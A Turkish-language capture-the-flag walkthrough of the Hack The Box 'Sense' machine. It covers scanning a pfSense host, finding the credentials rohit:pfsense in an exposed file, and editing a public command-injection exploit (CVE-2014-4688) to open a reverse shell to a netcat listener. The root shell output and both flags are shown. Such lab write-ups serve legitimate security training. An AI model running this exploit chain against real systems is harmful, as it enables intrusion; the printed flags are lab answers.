| Makine Adı | Seviye | OS | Logo |
|---|---|---|---|
| Sense – HTB | Easy | Linux |  |
Walkthrough
nmap taraması ile başlayalım.
┌──(root💀kali)-[~] │
└─# nmap -p- -A -T4 10.10.10.60 │Finished ffuf scan
Starting Nmap 7.91 ( https://nmap.org ) at 2021-12-04 15:14 EST │
Nmap scan report for 10.10.10.60 (10.10.10.60) │=========================
Host is up (0.12s latency). │
Not shown: 65533 filtered ports │Starting sslscan scan
PORT STATE SERVICE VERSION │
80/tcp open http lighttpd 1.4.35 │ERROR: Could not open a connection to host 10.10.10.60 (10.10.10.60) on port 443 (connect: Timed out).
|_http-server-header: lighttpd/1.4.35 │Version: 2.0.10-static
|_http-title: Did not follow redirect to https://10.10.10.60/ │OpenSSL 1.1.1l-dev xx XXX xxxx
443/tcp open ssl/https? │
| ssl-cert: Subject: commonName=Common Name (eg, YOUR name)/organizationName=CompanyName/stateOrProvinceName=Somewhere│
/countryName=US │Finished sslscan scan
| Not valid before: 2017-10-14T19:21:35 │
|_Not valid after: 2023-04-06T19:21:35 │=========================
|_ssl-date: TLS randomness does not represent time │
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port │Starting nikto scan
Device type: specialized │
Running (JUST GUESSING): Comau embedded (92%) │- Nikto v2.1.6
Aggressive OS guesses: Comau C4G robot control unit (92%) │---------------------------------------------------------------------------
No exact OS matches for host (test conditions non-ideal). │+ No web server found on 10.10.10.60:443
Network Distance: 2 hops │---------------------------------------------------------------------------
│+ 0 host(s) tested
TRACEROUTE (using port 443/tcp) │
HOP RTT ADDRESS │Finished nikto scan
1 149.88 ms 10.10.14.1 (10.10.14.1) │
2 149.89 ms 10.10.10.60 (10.10.10.60) │=========================
│
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . │Starting ffuf scan
Nmap done: 1 IP address (1 host up) scanned in 156.79 seconds 80’e gittiğimde direkt olarak beni 443’e yönlendiriyordu ayrıca bir pfsense router ile karşı karşıyaydım. pfsense deyince akla ilk olarak CVE-2016-10709 gelmeli. 2.3 sürümünden önce bütün sürümler için uzaktan komut çalıştırma zafiyeti vardı. Ayrıntıları https://www.cvedetails.com/vulnerability-list/vendor_id-11749/product_id-21763/Pfsense-Pfsense.html adresinden kontrol edebilirsiniz. Bunu yapacağımız bariz. Bu nedenle exploit etmek için gerekli olan gereksinimlere odaklandım. Bir credential bulmam gerekiyordu. İlk başta default credential’ları denedim ancak olmadı. Bunun üzerine nikto ve gobuster ile devam etim.
┌──(root💀kali)-[~]
└─# gobuster dir --add-slash --expanded --follow-redirect --url https://10.10.10.60/ --no-error -t 50 -x php,html,txt -k --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --timeout 20s --no-tls-validation | tee 10.10.10.60/gobuster2
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: https://10.10.10.60/
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: php,html,txt
[+] Add Slash: true
[+] Follow Redirect: true
[+] Expanded: true
[+] Timeout: 20s
===============================================================
2021/12/04 15:23:33 Starting gobuster in directory enumeration mode
===============================================================
https://10.10.10.60/index.html (Status: 200) [Size: 329]
https://10.10.10.60/help.php (Status: 200) [Size: 6689]
https://10.10.10.60/index.php (Status: 200) [Size: 6690]
https://10.10.10.60/stats.php (Status: 200) [Size: 6690]
https://10.10.10.60/edit.php (Status: 200) [Size: 6689]
https://10.10.10.60/license.php (Status: 200) [Size: 6692]
https://10.10.10.60/system.php (Status: 200) [Size: 6691]
https://10.10.10.60/status.php (Status: 200) [Size: 6691]
https://10.10.10.60/changelog.txt (Status: 200) [Size: 271]
https://10.10.10.60/exec.php (Status: 200) [Size: 6689]
https://10.10.10.60/graph.php (Status: 200) [Size: 6690]
https://10.10.10.60/tree/ (Status: 200) [Size: 7492]
https://10.10.10.60/wizard.php (Status: 200) [Size: 6691]
https://10.10.10.60/pkg.php (Status: 200) [Size: 6688]
https://10.10.10.60/installer/ (Status: 200) [Size: 6113]
https://10.10.10.60/xmlrpc.php (Status: 200) [Size: 384]
https://10.10.10.60/reboot.php (Status: 200) [Size: 6691]
https://10.10.10.60/interfaces.php (Status: 200) [Size: 6695]
https://10.10.10.60/system-users.txt (Status: 200) [Size: 106]
===============================================================
2021/12/05 05:34:11 Finished
===============================================================
https://10.10.10.60/system-users.txt bizim için önemli bir alandı. Buraya gittiğimde bir credential elde ettim.
┌──(root💀kali)-[~]
└─# curl https://10.10.10.60/system-users.txt -k 60 ⨯
####Support ticket###
Please create the following user
username: Rohit
password: company defaults rohit:pfsense ikiliyse içeriye girdim ve hemen exploiti indiridm çünkü sürüm 2.3’ün altındaydı bunu dashboard ekranından görebiliyordum.
┌──(root💀kali)-[~]
└─# searchsploit pfsense
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
pfSense - 'interfaces.php?if' Cross-Site Scripting | hardware/remote/35071.txt
pfSense - 'pkg.php?xml' Cross-Site Scripting | hardware/remote/35069.txt
pfSense - 'pkg_edit.php?id' Cross-Site Scripting | hardware/remote/35068.txt
pfSense - 'status_graph.php?if' Cross-Site Scripting | hardware/remote/35070.txt
pfSense - (Authenticated) Group Member Remote Command Execution (Metasploit) | unix/remote/43193.rb
pfSense 2 Beta 4 - 'graph.php' Multiple Cross-Site Scripting Vulnerabilities | php/remote/34985.txt
pfSense 2.0.1 - Cross-Site Scripting / Cross-Site Request Forgery / Remote Command Execution | php/webapps/23901.txt
pfSense 2.1 build 20130911-1816 - Directory Traversal | php/webapps/31263.txt
pfSense 2.2 - Multiple Vulnerabilities | php/webapps/36506.txt
pfSense 2.2.5 - Directory Traversal | php/webapps/39038.txt
pfSense 2.3.1_1 - Command Execution | php/webapps/43128.txt
pfSense 2.3.2 - Cross-Site Scripting / Cross-Site Request Forgery | php/webapps/41501.txt
Pfsense 2.3.4 / 2.4.4-p3 - Remote Code Injection | php/webapps/47413.py
pfSense 2.4.1 - Cross-Site Request Forgery Error Page Clickjacking (Metasploit) | php/remote/43341.rb
pfSense 2.4.4-p1 (HAProxy Package 0.59_14) - Persistent Cross-Site Scripting | php/webapps/46538.txt
pfSense 2.4.4-p1 - Cross-Site Scripting | multiple/webapps/46316.txt
pfSense 2.4.4-p3 (ACME Package 0.59_14) - Persistent Cross-Site Scripting | php/webapps/46936.txt
pfSense 2.4.4-P3 - 'User Manager' Persistent Cross-Site Scripting | freebsd/webapps/48300.txt
pfSense 2.4.4-p3 - Cross-Site Request Forgery | php/webapps/48714.txt
pfSense < 2.1.4 - 'status_rrd_graph_img.php' Command Injection | php/webapps/43560.py
pfSense Community Edition 2.2.6 - Multiple Vulnerabilities | php/webapps/39709.txt
pfSense Firewall 2.2.5 - Config File Cross-Site Request Forgery | php/webapps/39306.html
pfSense Firewall 2.2.6 - Services Cross-Site Request Forgery | php/webapps/39695.txt
pfSense UTM Platform 2.0.1 - Cross-Site Scripting | freebsd/webapps/24439.txt
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results
┌──(root💀kali)-[~/10.10.10.60/exp]
└─# searchsploit -m php/webapps/43560.py
Exploit: pfSense < 2.1.4 - 'status_rrd_graph_img.php' Command Injection
URL: https://www.exploit-db.com/exploits/43560
Path: /usr/share/exploitdb/exploits/php/webapps/43560.py
File Type: Python script, ASCII text executable, with CRLF line terminators
Copied to: /root/10.10.10.60/exp/43560.py
İndirdiğim exploiti okuduğumda benden parametre aracılığıyla lhost, rhost gibi değerler istiyordu bunları direkt silerek statik bir şekilde girdim. Kodun son hali aşağıdaki gibi oldu.
┌──(root💀kali)-[~/10.10.10.60/exp]
└─# head -n 30 43560.py
#!/usr/bin/env python3
# Exploit Title: pfSense <= 2.1.3 status_rrd_graph_img.php Command Injection.
# Date: 2018-01-12
# Exploit Author: absolomb
# Vendor Homepage: https://www.pfsense.org/
# Software Link: https://atxfiles.pfsense.org/mirror/downloads/old/
# Version: <=2.1.3
# Tested on: FreeBSD 8.3-RELEASE-p16
# CVE : CVE-2014-4688
import argparse
import requests
import urllib
import urllib3
import collections
'''
pfSense <= 2.1.3 status_rrd_graph_img.php Command Injection.
This script will return a reverse shell on specified listener address and port.
Ensure you have started a listener to catch the shell before running!
'''
rhost = "10.10.10.60"
lhost = "10.10.14.26"
lport = "4444"
username = "rohit"
password = "pfsense" Dinleme noktamı açtım ve kodu çalıştırdım.
│
┌──(root💀kali)-[~/10.10.10.60/exp] │
└─# python3 43560.py │
CSRF token obtained │
Running exploit... │
Exploit completed ┌──(root💀kali)-[~]
└─# nc -lvp 4444
listening on [any] 4444 ...
connect to [10.10.14.26] from 10.10.10.60 [10.10.10.60] 30144
sh: can't access tty; job control turned off
# id
uid=0(root) gid=0(wheel) groups=0(wheel)
# id
uid=0(root) gid=0(wheel) groups=0(wheel)
# cd /home
# ls
.snap
rohit
# cd rohit
# ls
.tcshrc
user.txt
# cat user.txt
8721327cc232073b40d27d9c17e7348b#
#
# cd /root
# ls
.cshrc
.first_time
.gitsync_merge.sample
.hushlogin
.login
.part_mount
.profile
.shrc
.tcshrc
root.txt
# cat root.txt
d08c32a5d4f8c8b10e76eb51a69f1a86
#
İlk Yorumu Siz Yapın